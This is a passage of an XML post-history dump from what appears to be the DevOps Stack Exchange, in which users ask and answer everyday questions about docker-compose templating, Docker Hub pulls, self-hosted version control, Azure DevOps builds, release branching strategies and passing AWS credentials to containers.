shell scripts over.&#xD;&#xA;&#xD;&#xA;&gt; Is the database in the container, or is the container running next to&#xD;&#xA;&gt; the database?&#xD;&#xA;&#xD;&#xA;the database is a mariadb Docker container. So my compose file will need to include a 'mariadb' section.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; What would a good docker-compose.yml look like for you?&#xD;&#xA;&#xD;&#xA;Good question. Something like this:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: yaml --&gt;&#xD;&#xA;&#xD;&#xA;    version:                            '2.2'&#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      terracotta:&#xD;&#xA;        image:                          terracotta/terracotta-server-oss:5.5.1&#xD;&#xA;        container_name:                 terracotta&#xD;&#xA;        restart:                        always&#xD;&#xA;        networks:&#xD;&#xA;          - skyNet&#xD;&#xA;        logging:&#xD;&#xA;          driver:                       &quot;json-file&quot;&#xD;&#xA;          options:&#xD;&#xA;            max-size:                   &quot;10m&quot;&#xD;&#xA;            max-file:                   &quot;5&quot;&#xD;&#xA;    &#xD;&#xA;      mariadb:&#xD;&#xA;        image:                          mariadb/server:{{docker_mariadb_version}}&#xD;&#xA;        container_name:                 mariadb&#xD;&#xA;        restart:                        always        &#xD;&#xA;        logging:&#xD;&#xA;          driver:                       &quot;json-file&quot;&#xD;&#xA;          options:&#xD;&#xA;            max-size:                   &quot;10m&quot;&#xD;&#xA;            max-file:                   &quot;5&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - skyNet&#xD;&#xA;        ports:&#xD;&#xA;        - 127.0.0.1:3306:3306/tcp&#xD;&#xA;        volumes:&#xD;&#xA;          - /opt/mariadb/data:/var/lib/mysql&#xD;&#xA;        environment:&#xD;&#xA;          MARIADB_ROOT_PASSWORD:        &quot;{{database_root_password}}&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Network&#xD;&#xA;    networks:&#xD;&#xA;      skyNet:&#xD;&#xA;        driver:                         bridge&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I pretty much need to be able to need to be able to toggle which services are added to the compose file via Tags or something. Maybe i should change the phrasing of my question?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28803" PostHistoryTypeId="6" PostId="9634" RevisionGUID="a88e17ce-5caa-4141-8ff7-f7d13b677c31" CreationDate="2019-10-31T16:44:58.127" UserId="6600" Comment="replied to questions" Text="&lt;ansible&gt;&lt;docker-compose&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28804" PostHistoryTypeId="2" PostId="9638" RevisionGUID="5f531cf5-29bc-4bd6-86fb-6eda5ded4275" CreationDate="2019-10-31T17:42:44.950" UserId="15792" Text="Docker is an awesome tool for creating a database, seeding data into it, and disposing of it.&#xD;&#xA;&#xD;&#xA;For an example check out [Microsoft's SQL Server with Docker][1].  The following would pull and run a sql server 2017 instance: &lt;pre&gt;&lt;code&gt;docker run -e &quot;ACCEPT_EULA=Y&quot; -e &quot;SA_PASSWORD=&lt;YourStrong@Passw0rd&gt;&quot; `&#xD;&#xA;   -p 1433:1433 --name sql1 `&#xD;&#xA;   -d mcr.microsoft.com/mssql/server:2017-latest&lt;/pre&gt;&lt;code&gt;After running this you now have a developer ready SQL instance that you can then connect to SQL Management Studio (or any other GUI management tool), or you can even connect via the [command line][2].&#xD;&#xA;&#xD;&#xA;If you are not using SQL you can run a container for the desired database type (check out the options on Dockerhub).&#xD;&#xA;&#xD;&#xA;Once you have your database up and running, run the scripts to set it up, seed the data, and test without worrying about messing up your production database.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/sql/linux/quickstart-install-connect-docker?view=sql-server-2017&amp;pivots=cs1-bash&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/sql/linux/quickstart-install-connect-docker?view=sql-server-2017&amp;pivots=cs1-powershell#connect-to-sql-server" ContentLicense="CC BY-SA 4.0" />
  <row Id="28805" PostHistoryTypeId="2" PostId="9639" RevisionGUID="bec762d9-60d7-402c-96ad-44ad84047a03" CreationDate="2019-10-31T18:57:42.053" UserId="17943" Text="&gt; What is self hosted version control system&#xD;&#xA;&#xD;&#xA;A version control system hosted in a location you control and administer yourself.&#xD;&#xA;&#xD;&#xA;Git is designed as a &quot;distributed version control system&quot;, this means that by default every user has a complete copy of the history. It's not strictly necessary to even have a central server at all, though it is generally very inconvenient not to.&#xD;&#xA;&#xD;&#xA;At a minimum a shared git repo can simply be a shared directory that you all have access to on a unix-like system you can all ssh into.&#xD;&#xA;&#xD;&#xA;Most people however would like something a bit fancier than that, they may want the ability to let people perform some write actions on the repo without giving them full access to do anything they like to it. They may want a web interface to browse the code. They may want issue-tracking that integrates with the repo, they may want a pull-request system. &#xD;&#xA;&#xD;&#xA;&gt; and how is it different from github?&#xD;&#xA;&#xD;&#xA;Github mostly operates as a cloud-service*, your code is stored on servers owned and controlled by github. They provide hosting for git repos, along with a bunch of related services like issue tracking and pull-requests. Initially their model was that public repos were free and private ones cost money. Since the microsoft takeover they have started offering limited private repos for free, but if you want to do serious private collaboration you are going to have to pay them.&#xD;&#xA;&#xD;&#xA;The advantage of cloud-services is that you don't have to expend any effort on maintaining the service. The downside is the operator of the cloud service can screw you over at any time and there is little you can do about it. &#xD;&#xA;&#xD;&#xA;With git the risk is somewhat less than with other cloud services because as I mentioned earlier the actual version control history is kept by every client, so you can set up a new git server, switch your clients over and as far as the code itself is concerned things can continue as before. However you still risk losing the other stuff like the issue tracker, pull requests, permission setups etc.&#xD;&#xA;&#xD;&#xA;If you want to self-host a git service with integrated web interface, issue-tracking and pull-requests then the main option i'm aware of seems to be gitlab. &#xD;&#xA;&#xD;&#xA;\* They do offer a self-hosted option for &quot;Github Enterprise&quot;, but their website says nothing about how much it costs....." ContentLicense="CC BY-SA 4.0" />
  <row Id="28806" PostHistoryTypeId="2" PostId="9640" RevisionGUID="123d5ffc-f2f6-470b-9f34-03ee95ce3f3e" CreationDate="2019-10-31T19:23:37.340" UserId="17944" Text="A &quot;self hosted version control system&quot; is one that is used for tracking its own source code.&#xD;&#xA;&#xD;&#xA;When a new version control system is developed, initially no version control is used for it, or some existing version control.&#xD;&#xA;&#xD;&#xA;Eventually, a major milestone is reached when the version control system is good enough for handling its own source code. At that point, the developers are motivated to actually switch to it; and thereby it has become self-hosted.&#xD;&#xA;&#xD;&#xA;This is a similar concept to a self-boostrapping compiler: a compiler written in its own language. You need that compiler to compile that compiler, just like you need a running version of a self-hosting version control system in order to check out its own sources.&#xD;&#xA;&#xD;&#xA;Every serious version control system is self-hosted, because if it isn't, it shows that the authors don't have confidence in it; would you use Git if the development of Git relied on something else, like Mercurial?&#xD;&#xA;&#xD;&#xA;**This is not to be confused with a &quot;self-hosted repository&quot; which is just a version control repository that you host yourself on a machine that you control instead of using someone else's hosting service like gitlab.** &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28811" PostHistoryTypeId="2" PostId="9642" RevisionGUID="fcf0331c-73cb-422e-84b1-d9342cd1c621" CreationDate="2019-11-01T05:08:47.060" UserId="11705" Text="**NOTES:** &#xD;&#xA;&#xD;&#xA; 1. I really hope that this question hasn't been asked before and as far as I know, only Azure DevOps Service (Azure DevOps on cloud) and Azure DevOps Server 2019 (Azure DevOps on-premise) fully supports VFS for Git.&#xD;&#xA; 2. VFS in this context is Virtualized File System for Git. It is not VFS in Linux. The same virtualized, but this VFS is specific to ease managing large Git repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;For those who don't know VFS for Git, VFS for Git is helpful to ease managing Git because it has virtualized file system that help managing large size repo, especially for those repo that has size &gt; 2GB.&#xD;&#xA;&#xD;&#xA;For more information, please visit the official landing page of VFS for Git: https://vfsforgit.org/&#xD;&#xA;&#xD;&#xA;My question is, when will GitHub support VFS for Git? As far as I know, in early 2018, it says it will support but still no further update until now.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28812" PostHistoryTypeId="1" PostId="9642" RevisionGUID="fcf0331c-73cb-422e-84b1-d9342cd1c621" CreationDate="2019-11-01T05:08:47.060" UserId="11705" Text="When will GitHub support VFS for Git?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28813" PostHistoryTypeId="3" PostId="9642" RevisionGUID="fcf0331c-73cb-422e-84b1-d9342cd1c621" CreationDate="2019-11-01T05:08:47.060" UserId="11705" Text="&lt;git&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28814" PostHistoryTypeId="4" PostId="9642" RevisionGUID="f0906f1a-035e-4295-a0a1-82d8090d41b2" CreationDate="2019-11-01T08:17:40.333" UserId="11705" Comment="rephrase the question title." Text="Does GitHub support VFS for Git?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28815" PostHistoryTypeId="2" PostId="9643" RevisionGUID="a3491ff8-19e3-4e61-8f1c-a9f9a25ebcef" CreationDate="2019-11-01T09:54:26.170" UserId="11705" Text="I'm looking this fact:&#xD;&#xA;&#xD;&#xA;&gt; I have an ASP.NET Core 3.0 application for which I have a full CI/CD setup in Azure DevOps. The Application is hosted on a Ubuntu 18.04 server machine.&#xD;&#xA;&#xD;&#xA;Therefore I can safely assume that you are developing ASP.NET Core 3.0 app to be hosted in Ubuntu. Any .NET Core 3.0 (or later) application means that you should rely on the `dotnet build` instead of using VSBuild. &#xD;&#xA;&#xD;&#xA;Also you had stated that you will host the app on Ubuntu 18.x, then you should also run the build on Azure DevOps agent that runs on Ubuntu. This means you should only use `dotnet build` in DotNetCoreCLI@2 task, because VSBuild task only runs on Windows based agent, not Ubuntu and it is intended to compile .NET Framework and other platform other than .NET Core.&#xD;&#xA;&#xD;&#xA;Please consult the official doc of DotNetCoreCLI@2 task at https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/build/dotnet-core-cli?view=azure-devops&#xD;&#xA;&#xD;&#xA;After you use `dotnet build`, use `dotnet publish` to publish your artifact. It is much easier and it's also the best way to publish .NET Core apps.&#xD;&#xA;&#xD;&#xA;I have sample usage of `dotnet build` and `dotnet publish` of this on my repo: &#xD;&#xA;https://github.com/eriawan/dotnetcore-cicd-samples/blob/master/yaml-samples/sample_pipelines_check.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="28816" PostHistoryTypeId="5" PostId="9612" RevisionGUID="111ae61e-0e43-45ab-81b0-bc6eb002b64a" CreationDate="2019-11-01T10:02:26.327" UserId="-1" Comment="spelling, grammar, typography" Text="Let's take it word by word:&#xD;&#xA;&#xD;&#xA;- **Self**: You or your organisation owns this thing. By contrast, a cloud-based offering by GitHub.com, Azure, GitLab.com, etc. (see [this list on Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_source-code-hosting_facilities) for a more comprehensive list) is not owned by you, but rather the service provider in question. Do not confuse ownership of the _code_ (dictated by it's license – typically owned by you), with ownership of the service for performing version control on the code.&#xD;&#xA;- **Hosted**: You or your organisation are responsible for _operating_ and _maintaining_ this thing. In some cases, this is exactly the same software (e.g. one can self-host GitLab or run GitHub Enterprise “on premise” in your own datacentre). This means keeping it secure, making any changes to it, serving user requests for change, etc. You are also responsible for some part of the infrastructure necessary to provide this service. This may vary, depending on who you have service provision agreements with, from everything down to the power and networking, or only the last layer of the service (here, the version control system itself), or anything in between.&#xD;&#xA;- **&quot;version control system&quot;** (or VCS): anything (software or otherwise, but most likely software) which provides the functionality necessary to control versions. Note there is a subtle difference between [Version Control](https://en.wikipedia.org/wiki/Version_control) and [Version Control Software](https://en.wikipedia.org/wiki/List_of_version-control_software), although the meaning is often conflated.&#xD;&#xA;&#xD;&#xA;The term VCS can refer to any version control system, even when it is not applied to software, however in our context, it can be assumed that you are referring to a version control system **applied to software**.&#xD;&#xA;&#xD;&#xA;In other words, a “self-hosted VCS” can be thought of as:&#xD;&#xA;&#xD;&#xA;&gt; A service and all of its components which is under your own ownership and control, acting as a version control system for software.&#xD;&#xA;&#xD;&#xA;Often, this can take the form of:&#xD;&#xA;&#xD;&#xA;- base infrastructure (network/power/server),&#xD;&#xA;- operating system,&#xD;&#xA;- authentication and authorisation mechanism, and&#xD;&#xA;- the VCS server itself (Git, SVN, etc.).&#xD;&#xA;&#xD;&#xA;The second part of your question is about how it is different from GitHub. The following contrast can be made:&#xD;&#xA;&#xD;&#xA;1. Functionally there may be differences between what you can do with GitHub an what you can do with your self-hosted VCS. GitHub, as is the case for almost all VCS hosted by third parties (i.e., **not** hosted by you) goes a few steps further than simply doing version control. There are collaboration tools, identity management, issue tracking, etc. built into their service. While this is strictly speaking not part of VCS, it greatly improves the experience of using one, almost to the point where doing version control without them feels impossible.&#xD;&#xA;1. GitHub owns and operates the service. You may make suggestions to change their service, API, etc., and perhaps even contributions to their open source products, but you do not own the service. It is provided to you based on the SLA for the offering that you choose. You cannot make your own changes to it. This is overall a very good thing, unless you are in the business of providing the VCS itself – but chances are that you just want to _use_ the service, not compete with it.&#xD;&#xA;&#xD;&#xA;Update to answer the edited question:&#xD;&#xA;&#xD;&#xA;&gt; does it get uploaded to the server, or it is saved on my local machine? If it is uploaded to the server, then if I reset the computer, will I able to access my code again?&#xD;&#xA;&#xD;&#xA;You are conflating two issues here: self-hosting and **distributed version control**. Of course, if you self-host _on your own computer_, your run the risk of losing everything if the machine dies. However, of _someone else_ hosts your code in only one place, then you *still* risk losing everything if _their_ machine goes down.&#xD;&#xA;&#xD;&#xA;To address this (and several other issues related to centralisation of source control), **distributed version control** was invented. A good discussion is [in the git book](https://git-scm.com/book/en/v2/Getting-Started-About-Version-Control)." ContentLicense="CC BY-SA 4.0" />
  <row Id="28817" PostHistoryTypeId="24" PostId="9612" RevisionGUID="111ae61e-0e43-45ab-81b0-bc6eb002b64a" CreationDate="2019-11-01T10:02:26.327" Comment="Proposed by 108.29.13.246|6f6cce17-b5c1-4789-b66f-9f4a3be43834 approved by 354 edit id of 1113" ContentLicense="CC BY-SA 4.0" />
  <row Id="28818" PostHistoryTypeId="5" PostId="9643" RevisionGUID="a48d65a2-41d7-4aca-ab1b-c7930ca7f65d" CreationDate="2019-11-01T10:13:52.080" UserId="11705" Comment="added 4 characters in body" Text="I'm looking this fact:&#xD;&#xA;&#xD;&#xA;&gt; I have an ASP.NET Core 3.0 application for which I have a full CI/CD setup in Azure DevOps. The Application is hosted on a Ubuntu 18.04 server machine.&#xD;&#xA;&#xD;&#xA;Therefore I can safely assume that you are developing ASP.NET Core 3.0 app to be hosted in Ubuntu. Any .NET Core 3.0 (or later) application means that you should rely on the `dotnet build` instead of using VSBuild. &#xD;&#xA;&#xD;&#xA;Also you had stated that you will host the app on Ubuntu 18.x, then you should also run the build on Azure DevOps agent that runs on Ubuntu. This means you should only use `dotnet build` in `DotNetCoreCLI@2` task, because `VSBuild` task only runs on Windows based agent, not Ubuntu and it is intended to compile .NET Framework and other platform other than .NET Core.&#xD;&#xA;&#xD;&#xA;Please consult the official doc of DotNetCoreCLI@2 task at https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/build/dotnet-core-cli?view=azure-devops&#xD;&#xA;&#xD;&#xA;After you use `dotnet build`, use `dotnet publish` to publish your artifact. It is much easier and it's also the best way to publish .NET Core apps.&#xD;&#xA;&#xD;&#xA;I have sample usage of `dotnet build` and `dotnet publish` of this on my repo: &#xD;&#xA;https://github.com/eriawan/dotnetcore-cicd-samples/blob/master/yaml-samples/sample_pipelines_check.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="28819" PostHistoryTypeId="2" PostId="9644" RevisionGUID="d3679554-0908-482e-95d0-b7e8ee1a8464" CreationDate="2019-11-01T12:35:34.497" UserId="17955" Text="Create and add token to be able to connect to SonarQube.&lt;br&gt;&#xD;&#xA;You have create project in SonarQube and use it as a parameter:&#xD;&#xA;&#xD;&#xA;    sh &quot;&quot;&quot;&#xD;&#xA;       ${scannerHome}/bin/sonar-scanner \&#xD;&#xA;       -Dsonar.projectKey=your_project_key_created_in_sonarqube_as_project \&#xD;&#xA;       -Dsonar.sources=. \&#xD;&#xA;    &quot;&quot;&quot;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Copied from [[StackOverflow] Problem with Connecting Jenkins to SonarQube](https://stackoverflow.com/a/58626625/4944847)." ContentLicense="CC BY-SA 4.0" />
  <row Id="28820" PostHistoryTypeId="2" PostId="9645" RevisionGUID="e83e8071-c9a1-4d82-9bc8-6f97127a5679" CreationDate="2019-11-01T14:11:18.863" UserId="40" Text="&gt; ... by making a minor change in the v1 front half, this breakage can be avoided.&#xD;&#xA;&#xD;&#xA;The above excerpt of this queston reminds me of something similar from around the late 90s, say 1996-1999 (when zillions of ITers were preparing for Y2K ...). In those days, new software releases of huge software vendors would come with release notes that included things like either of these:&#xD;&#xA;&#xD;&#xA;- *&quot;this release is to make this software **Y2K tolerant** &quot;* (= allows the software to contnue to work as of Jan 1, 2000, at least for a while, though it would keep showing dates with 2 digits for the year, like 00, and not yet 4 digits, like 2000).&#xD;&#xA;- *&quot;this release is to make this software **Y2K ready** &quot;* (= allows the software to continue to work as of Jan 1, 2000, without any (known) limitation because of the change of century from 19 to 20).&#xD;&#xA;&#xD;&#xA;Y2K tolerant softwares would typically also include some sort of magical cut-off value, e.g.: years from 70 (when even MS DOS did not exist ...) to 99 were assumed to be from 1970 to 1999, while anything from 00 to 69 were assumed to be from 2000 to 2069. Such assumption was also why such softwares were required to be superseeded by some Y2K compliant release later on (in which those assumptions were obsoleted).&#xD;&#xA;&#xD;&#xA;With the above in mind, the term you are asking for could be something like a &quot;***V2 tolerant release***&quot;, which at some point in the future would then be followed by a &quot;***V2 ready release***&quot; (= your actual V2 release)." ContentLicense="CC BY-SA 4.0" />
  <row Id="28821" PostHistoryTypeId="2" PostId="9646" RevisionGUID="155c8c2b-a04b-4ed6-992c-9eb4feef2bcb" CreationDate="2019-11-01T14:11:38.110" UserId="17957" Text="I have created a repo on my docker hub account. While trying to download it it shows errors. I have tried the following commands&#xD;&#xA;Docker id saurabhgore65&#xD;&#xA;docker pull &lt;saurabhgore65&gt;/subash&#xD;&#xA;docker pull &lt;saurabhgore65&gt;/subash:latest&#xD;&#xA;docker pull &lt;saurabhgore65&gt;/subash:sagoreimage" ContentLicense="CC BY-SA 4.0" />
  <row Id="28822" PostHistoryTypeId="1" PostId="9646" RevisionGUID="155c8c2b-a04b-4ed6-992c-9eb4feef2bcb" CreationDate="2019-11-01T14:11:38.110" UserId="17957" Text="docker hub repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="28823" PostHistoryTypeId="3" PostId="9646" RevisionGUID="155c8c2b-a04b-4ed6-992c-9eb4feef2bcb" CreationDate="2019-11-01T14:11:38.110" UserId="17957" Text="&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28824" PostHistoryTypeId="4" PostId="4082" RevisionGUID="b85b650d-a2fd-44c4-854a-c51c4dd1888f" CreationDate="2019-11-01T14:14:13.320" UserId="40" Comment="improve title" Text="What is the term for a deployment designed to make a future cutover seamless?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28825" PostHistoryTypeId="2" PostId="9647" RevisionGUID="6e91416a-f22e-4179-bd69-7fc5c3dabd8e" CreationDate="2019-11-01T14:18:28.293" UserId="17043" Text="Try below cmd to pull the images from dockerhub:&#xD;&#xA;&#xD;&#xA;sudo docker pull username/reponame:latest[tag]&#xD;&#xA;&#xD;&#xA;ie.&#xD;&#xA;&#xD;&#xA;sudo docker pull iakshaykr/dochub:tom&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;above iakshaykr[username for docker hub account]&#xD;&#xA;      dochub[repo created on my dochub]&#xD;&#xA;       tom [is image which i have pushed ,in your case it is tag which you wants to pull]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#I looked into your repo and found that you havn't pushed any image till now into your repo ,so you can't pull ,first push any image from your local repo then you can able to pull&#xD;&#xA;&#xD;&#xA;docker pull saurabhgore65/subash:[tag]" ContentLicense="CC BY-SA 4.0" />
  <row Id="28826" PostHistoryTypeId="5" PostId="9647" RevisionGUID="c486ca30-f664-4277-82a0-e79e7e03d9fc" CreationDate="2019-11-01T14:31:28.603" UserId="354" Comment="Fix formatting" Text="Try below cmd to pull the images from dockerhub:&#xD;&#xA;&#xD;&#xA;`sudo docker pull username/reponame:latest[tag]`&#xD;&#xA;&#xD;&#xA;_ie._&#xD;&#xA;&#xD;&#xA;`sudo docker pull iakshaykr/dochub:tom`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;above:&#xD;&#xA;- iakshaykr (username for docker hub account) &#xD;&#xA;- dochub (repo created on my dochub)&#xD;&#xA;- tom is image which i have pushed ,in your case it is tag which you wants to pull&#xD;&#xA;&#xD;&#xA;I looked into your repo and found that you haven't pushed any image till now into your repo ,so you can't pull. First push an image from your local repo then you can able to pull.&#xD;&#xA;&#xD;&#xA;`docker pull saurabhgore65/subash:[tag]`" ContentLicense="CC BY-SA 4.0" />
  <row Id="28827" PostHistoryTypeId="5" PostId="9646" RevisionGUID="83c5b001-1b13-454a-b41d-72e1099c0002" CreationDate="2019-11-01T14:32:10.980" UserId="354" Comment="Fix formatting" Text="I have created a repo on my docker hub account. While trying to download it it shows errors. I have tried the following commands:&#xD;&#xA;&#xD;&#xA;- `docker id saurabhgore65`&#xD;&#xA;- `docker pull &lt;saurabhgore65&gt;/subash`&#xD;&#xA;- `docker pull &lt;saurabhgore65&gt;/subash:latest`&#xD;&#xA;- `docker pull &lt;saurabhgore65&gt;/subash:sagoreimage`" ContentLicense="CC BY-SA 4.0" />
  <row Id="28828" PostHistoryTypeId="6" PostId="9646" RevisionGUID="83c5b001-1b13-454a-b41d-72e1099c0002" CreationDate="2019-11-01T14:32:10.980" UserId="354" Comment="Fix formatting" Text="&lt;docker&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28829" PostHistoryTypeId="2" PostId="9648" RevisionGUID="8dcb7baa-ec6b-469e-8e2b-86308d6d4251" CreationDate="2019-11-01T15:34:28.363" UserId="15792" Text="First make sure that you have entered &lt;code&gt;docker login&lt;/code&gt; in the cli.  After that it really depends on the error you are getting.  You may need to use an elevate permissions (i.e., Admin powershell console or &lt;code&gt;sudo&lt;/code&gt; prefixed to the pull commands).&#xD;&#xA;&#xD;&#xA;As stated in another answer there is currently nothing in [your docker hub repository][1].  To fix this you should first build an image &lt;code&gt;docker build . -t myimagename&lt;/code&gt; from your dockerfile.  Next you will need to push the image: &lt;code&gt;docker push saurabhgore65/subash&lt;/code&gt;.  If you do not specify a tag then it will default tag as &quot;latest&quot;.  Once something is in your repository you should be able to pull it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/saurabhgore65/subash" ContentLicense="CC BY-SA 4.0" />
  <row Id="28830" PostHistoryTypeId="50" PostId="8247" RevisionGUID="cd2238a9-674e-4212-acbb-f961c3ddf34c" CreationDate="2019-11-01T16:00:40.040" UserId="-1" />
  <row Id="28831" PostHistoryTypeId="2" PostId="9649" RevisionGUID="abf5cf9f-ea81-436b-bed0-0ef4d500d52f" CreationDate="2019-11-01T18:07:24.713" UserId="17958" Text="Is it possible to have AWS-RDS (or another aws service) generate a report on databases that haven't been interacted with (write/read) after a certain period of time?&#xD;&#xA;&#xD;&#xA;My background is in QA and I'm relatively new to the DevOps game, sorry if this is a basic question, couldn't find it in search." ContentLicense="CC BY-SA 4.0" />
  <row Id="28832" PostHistoryTypeId="1" PostId="9649" RevisionGUID="abf5cf9f-ea81-436b-bed0-0ef4d500d52f" CreationDate="2019-11-01T18:07:24.713" UserId="17958" Text="AWS RDS- Determine what Database Tables aren't interacted with?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28833" PostHistoryTypeId="3" PostId="9649" RevisionGUID="abf5cf9f-ea81-436b-bed0-0ef4d500d52f" CreationDate="2019-11-01T18:07:24.713" UserId="17958" Text="&lt;databases&gt;&lt;amazon-cloudwatch&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28834" PostHistoryTypeId="5" PostId="9239" RevisionGUID="f32592bc-e0b6-4716-925d-1c5aa008eab1" CreationDate="2019-11-01T18:31:10.857" UserId="40" Comment="added 3 characters in body" Text="You need to separate the 2 concepts a bit:&#xD;&#xA;&#xD;&#xA;- the integration part - how are the changes integrated into your master branch (or some other integration branch, that's also possible), which may be continuous or not. Technically neither approach you describe is actually continuous integration unless your feature branches have **a very short lifespan** - typically less than 1 day. But this part doesn't seem to be the main focus of your post.&#xD;&#xA;&#xD;&#xA;- the delivery/deployment part - how are the **integrated** changes from an integration branch (*master* in your case) being delivered/deployed. In other words your release branch strategy. This appears to be the point of your post, I'll focus on it below.&#xD;&#xA;&#xD;&#xA;Both approaches you describe are valid release branch strategies, I've seen both being used. Each with their own advantages and disadvantages.&#xD;&#xA;&#xD;&#xA;1. This approach is inline with the continuous delivery/deployment strategy. The CI/CD pipeline will have the commits to the master branch (either feature branch merges or point fixes) as entry point: each such commit will trigger the pipeline verification, attempting to progress into it as far as possible. The QA/UAT is one of your pipeline steps, it that passes then it goes into production. Effectively your releases are simply selected (typically tagged) commits from the master branch, they aren't really branches.&#xD;&#xA;&#xD;&#xA;  Advantages:&#xD;&#xA;  - as you noticed - the least amount of branch activities&#xD;&#xA;  - everyone is on the same page - developers, QA, etc all focus on the same branch context&#xD;&#xA;  - lowest cost (but only if the project scale allows it to be effective, see also the disadvantages section)&#xD;&#xA;&#xD;&#xA;  Disadvantages:&#xD;&#xA;  - you can't have actively **maintained** releases - you only have one &quot;current&quot; release out there, each additional fix will become another release. Which isn't necessarily a bad thing, such release model can actually be desired (for example in the case of SaaS products).&#xD;&#xA;  - the release cadence is not actually predictable. It may be difficult to get releases out - if a problem is detected, by the time the fix for it is merged into the master branch some other changes may be merged in and other problems detected. This gets progressively worse as the rate of branch commits goes higher (larger scale projects) and may actually be non-convergent (the project may not reach stability at all). Doing CI/CD at scale is not a trivial matter. &#xD;&#xA;&#xD;&#xA;2. This approach is a more traditional release strategy, but technically it's **not really** continuous delivery/deployment.&#xD;&#xA;&#xD;&#xA;  Advantages:&#xD;&#xA;  - more predictable release cadence. The spinned-off release (aka throttle) branches allow reducing the rate of commits for a particular release. Typically a release branch would only receive fixes necessary for that particular release, fixes for future releases (or release trains) would go into the master branch instead. The reduced commit rate allows reducing the risks of new problems being introduced that would require additional commits, the branch is more stable. Typically the release branches are pulled from the master/integration branch commits that passed all (or most) of the CI/CD pipeline verification stages (for the master branch). In your particular example those branches wouldn't expect subsequent commits (they passed QA/UAT), but if say a problem is detected after deployment in production it would be possible to just commit that particular hotfix into the branch and re-deploy, without having to pick up any other commit that went into master since the branch was pulled, reducing the risk of additional regressions.&#xD;&#xA;  - it supports multiple simultaneous/overlapping actively maintained releases, with potentially complex release policies in place (long-term/short term/rolling/etc, like OpenSUSE's [Lifetime][1] for example).&#xD;&#xA;  - it supports multi-level releases (like `major.minor.increment`, for example) - aka release &quot;trains&quot;: a major release branch could itself have multiple minor release children branches, etc.&#xD;&#xA;  - each release branch could actually use the CI/CD methodology at its own level, independently of the other release branches - if it **never** gets upstream/bulk merges from its parent (i.e. effectively becoming its own &quot;master&quot;)!&#xD;&#xA;&#xD;&#xA;  Disadvantages:&#xD;&#xA;  - everyone is no longer on the same page. Each release branch has its own context which may come with its own policies, processes, tools, necessary resources, etc. Each requires its own development/testing/validation. This drives development/maintenance costs up, often significantly. &#xD;&#xA;  - tracking issues and propagating fixes across multiple releases may not be trivial. Merging back release branches into master (or their parent branches) appears an inviting approach, but IMHO it's a bad practice, see https://devops.stackexchange.com/questions/219/how-to-get-rid-of-develop-branch-for-simplified-git-flow/741#741 .&#xD;&#xA;  - context switching becomes a major problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.opensuse.org/Lifetime" ContentLicense="CC BY-SA 4.0" />
  <row Id="28835" PostHistoryTypeId="2" PostId="9650" RevisionGUID="a6488183-94f2-4f23-a1fd-88742e0d29e9" CreationDate="2019-11-01T19:27:40.417" UserId="15739" Text="No that is not possible , it is called `external` because is created from outside the current `docker-compose.yml` you are working on" ContentLicense="CC BY-SA 4.0" />
  <row Id="28836" PostHistoryTypeId="2" PostId="9651" RevisionGUID="f571130d-b549-418f-82c2-4613b1449dd0" CreationDate="2019-11-01T19:33:53.317" UserId="15739" Text="&gt; Access to AWS Secrets Manager requires AWS credentials. Those&#xD;&#xA;&gt; credentials must have permissions to access the AWS resources that you&#xD;&#xA;&gt; want to access, such as your Secrets Manager secrets. The following&#xD;&#xA;&gt; sections provide details on how you can use AWS Identity and Access&#xD;&#xA;&gt; Management (IAM) policies to help secure access to your secrets and&#xD;&#xA;&gt; control who can access and administer them.&#xD;&#xA;&#xD;&#xA;so you need to provide the `aws` credentials to docker which has access to the manger&#xD;&#xA;&#xD;&#xA;you can follow on of these methods:&#xD;&#xA;&#xD;&#xA;providing the credentials with `run` command:&#xD;&#xA;&#xD;&#xA;    docker run -e AWS_ACCESS_KEY_ID=XXXX -e AWS_SECRET_ACCESS_KEY=XXXX myimage&#xD;&#xA;&#xD;&#xA;or providing the file `~/.aws/credentials` and then create your container:&#xD;&#xA;&#xD;&#xA;    docker-machine create --driver amazonec2 --amazonec2-open-port 8000 --amazonec2-region us-west-1 aws-sandbox&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;see [this][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/machine/examples/aws/" ContentLicense="CC BY-SA 4.0" />
